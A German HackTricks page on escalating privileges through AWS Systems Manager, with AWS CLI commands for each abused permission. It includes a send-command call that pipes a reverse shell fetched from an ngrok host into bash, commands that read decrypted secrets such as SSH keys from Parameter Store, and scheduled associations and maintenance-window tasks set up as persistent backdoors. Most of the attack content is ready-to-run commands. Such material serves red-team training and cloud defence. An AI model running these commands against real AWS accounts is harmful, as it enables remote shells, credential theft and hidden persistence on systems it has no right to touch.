AWS - SSM Privesc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

SSM

Für mehr Infos über SSM siehe:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ein Angreifer mit der Berechtigung ssm:SendCommand kann Befehle auf Instanzen ausführen, die den Amazon SSM Agent ausführen, und die IAM Role kompromittieren, die darin läuft.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Falls du diese Technik verwendest, um Privilegien innerhalb einer bereits kompromittierten EC2-Instanz zu eskalieren, könntest du die rev shell lokal einfach mit erfassen:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potenzielle Auswirkung: Direkte privesc auf die EC2 IAM roles, die an laufende Instances mit laufenden SSM Agents angehängt sind.

ssm:StartSession

Ein Angreifer mit der Berechtigung ssm:StartSession kann eine SSH-like session in instances starten, die den Amazon SSM Agent ausführen, und die darin laufende IAM Role kompromittieren.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Um eine Session zu starten, musst du das SessionManagerPlugin installiert haben: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potenzielle Auswirkung: Direct privesc auf die EC2 IAM roles, die an laufende Instanzen mit laufenden SSM Agents angehängt sind.

Privesc zu ECS

Wenn ECS tasks mit aktiviertem ExecuteCommand laufen, können Benutzer mit genügend Berechtigungen ecs execute-command verwenden, um einen Befehl auszuführen innerhalb des Containers.
Laut der Dokumentation geschieht dies durch das Erstellen eines sicheren Kanals zwischen dem Gerät, das du verwendest, um den „exec“-Befehl zu initiieren, und dem Ziel-Container mit SSM Session Manager. (SSM Session Manager Plugin notwendig, damit das funktioniert)
Daher können Benutzer mit ssm:StartSession eine Shell innerhalb von ECS tasks erhalten, wenn diese Option aktiviert ist, indem sie einfach folgendes ausführen:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potenzielle Auswirkung: Direkte privesc zu den an laufende Tasks angehängten ECSIAM roles mit aktiviertem ExecuteCommand.

ssm:ResumeSession

Ein Angreifer mit der Berechtigung ssm:ResumeSession kann eine SSH-ähnliche Session auf Instanzen erneut starten, die den Amazon SSM Agent mit einem disconnected SSM session state ausführen, und die darin laufende IAM Role kompromittieren.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potenzielle Auswirkung: Direkte privesc zu den EC2 IAM roles, die an laufende Instanzen mit laufenden SSM Agents und getrennten Sessions angehängt sind.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ein Angreifer mit den genannten Berechtigungen kann die SSM parameters auflisten und sie im Klartext lesen. In diesen Parametern kann man häufig sensible Informationen wie SSH keys oder API keys finden.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potentieller Impact: Finde sensitive Informationen innerhalb der Parameter.

ssm:ListCommands

Ein Angreifer mit dieser Berechtigung kann alle gesendeten commands auflisten und hoffentlich darin sensitive information finden.

aws ssm list-commands

Potenzielle Auswirkung: Sensitive Informationen in den command lines finden.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ein Angreifer mit diesen Berechtigungen kann alle gesendeten commands auflisten und die erzeugte output lesen, wobei er hoffentlich sensitive information darin findet.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potenzielle Auswirkung: Sensitive Informationen innerhalb der Ausgabe der command lines finden.

Using ssm:CreateAssociation

Ein attacker mit der Berechtigung ssm:CreateAssociation kann eine State Manager Association erstellen, um automatisch commands auf EC2 instances auszuführen, die von SSM verwaltet werden. Diese associations können so konfiguriert werden, dass sie in einem festen Intervall ausgeführt werden, wodurch sie sich für backdoor-ähnliche persistence ohne interaktive sessions eignen.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Diese Persistence-Methode funktioniert so lange, wie die EC2-Instance von Systems Manager verwaltet wird, der SSM agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sessions oder explizite ssm:SendCommand-Berechtigungen. Wichtig: Der Parameter --schedule-expression (z. B. rate(30 minutes)) muss AWSs Mindestintervall von 30 Minuten einhalten. Für sofortige oder einmalige Ausführung lass --schedule-expression vollständig weg — die association wird nach der Erstellung einmal ausgeführt.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Ein Angreifer mit den Berechtigungen ssm:UpdateDocument und ssm:UpdateDocumentDefaultVersion kann Privilegien durch das Modifizieren bestehender Documents eskalieren. Dies ermöglicht auch Persistence innerhalb dieses Documents. In der Praxis müsste der Angreifer außerdem ssm:ListDocuments haben, um die Namen benutzerdefinierter Documents zu erhalten, und wenn der Angreifer seine Payload innerhalb eines bestehenden Documents verschleiern möchte, wäre ssm:GetDocument ebenfalls notwendig.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Unten ist ein Beispiel-Dokument, das verwendet werden kann, um ein vorhandenes Dokument zu überschreiben. Du solltest sicherstellen, dass dein Dokumenttyp dem Dokumenttyp des Zieldokuments entspricht, um Probleme mit der invocation zu vermeiden. Das untenstehende Dokument wird zum Beispiel die ssm:SendCommand und ssm:CreateAssociation Beispiele verwenden.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Ein Angreifer mit den Berechtigungen ssm:RegisterTaskWithMaintenanceWindow und ssm:RegisterTargetWithMaintenanceWindow kann seine Privilegien eskalieren, indem er zuerst ein neues Target mit einem vorhandenen maintenance window registriert und dann ein neues Task registriert. Dadurch wird Ausführung auf den vorhandenen Targets erreicht, aber ein Angreifer kann auch Compute mit unterschiedlichen Roles kompromittieren, indem er neue Targets registriert. Dies ermöglicht außerdem Persistence, da maintenance window tasks während der window-Erstellung in einem vordefinierten Intervall ausgeführt werden. Praktisch würde der Angreifer zusätzlich ssm:DescribeMaintenanceWindows benötigen, um die maintenance window IDs zu erhalten.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

Du kannst auch SSM verwenden, um in ein Codebuild-Projekt zu gelangen, das gerade gebaut wird:

AWS - Codebuild Privesc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks